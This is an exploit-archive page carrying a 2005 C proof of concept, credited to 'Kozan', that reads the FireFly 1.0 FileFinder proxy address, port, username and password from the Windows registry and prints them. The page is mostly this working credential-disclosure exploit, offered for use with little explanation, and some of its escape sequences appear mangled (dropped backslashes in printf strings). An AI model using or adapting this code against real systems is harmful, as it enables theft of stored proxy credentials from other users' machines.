[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : FireFly 1.0 Local Proxy Password Disclosure Exploit
# Published : 2005-04-07
# Author : Kozan
# Previous Title : sash <= 3.7 Local Buffer Overflow Exploit
# Next Title : MS Jet Database (msjet40.dll) DB File Buffer Overflow Exploit
/*****************************************************************
FireFly v1.0 Local Exploit by Kozan
Application: FireFly v1.0
Vendor: NetCruiser Software - www.netcruiser-software.com
Vulnerable Description: FireFly v1.0 discloses proxy passwords
to local users.
Discovered & Coded by: Kozan
Credits to ATmaCA
Web : www.netmagister.com
Web2: www.spyinstructors.com
Mail: kozan@netmagister.com
*****************************************************************/
#include <stdio.h>
#include <windows.h>
#define BUFSIZE 100
HKEY hKey;
char proxyaddr[BUFSIZE],
proxyport[BUFSIZE],
proxyuser[BUFSIZE],
proxypass[BUFSIZE];
DWORD dwBufLen=BUFSIZE;
LONG lRet;
int main(void)
{
if(RegOpenKeyEx(HKEY_CURRENT_USER,"Software\FireFly
FileFinder\GnutellaServer",
0,
KEY_QUERY_VALUE,
&hKey) == ERROR_SUCCESS)
{
lRet = RegQueryValueEx( hKey, "ProxyAddr", NULL, NULL,(LPBYTE) proxyaddr,&dwBufLen);
if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){
strcpy(proxyaddr,"Not found!");
}
lRet = RegQueryValueEx( hKey, "ProxyPass", NULL, NULL,(LPBYTE) proxypass, &dwBufLen);
if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){
strcpy(proxypass,"Not found!");
}
lRet = RegQueryValueEx( hKey, "ProxyUser", NULL, NULL,(LPBYTE) proxyuser, &dwBufLen);
if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){
strcpy(proxyuser,"Not found!");
}
lRet = RegQueryValueEx( hKey, "ProxyPort", NULL, NULL,(LPBYTE) proxyport, &dwBufLen);
if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){
strcpy(proxyport,"Not found!");
}
RegCloseKey( hKey );
printf("FireFly v1.0 Local Exploit by Kozann");
printf("Credits to ATmaCAn");
printf("www.netmagister.com - www.spyinstructors.comn");
printf("kozan@netmagister.comnn");
printf("Proxy Address : %sn",proxyaddr);
printf("Proxy Port : %sn",proxyport);
printf("Proxy Username : %sn",proxyuser);
printf("Proxy Password : %sn",proxypass);
}
else{
printf("FireFly v1.0 is not installed on your system!n");
}
return 0;
}
// www.Syue.com [2005-04-07]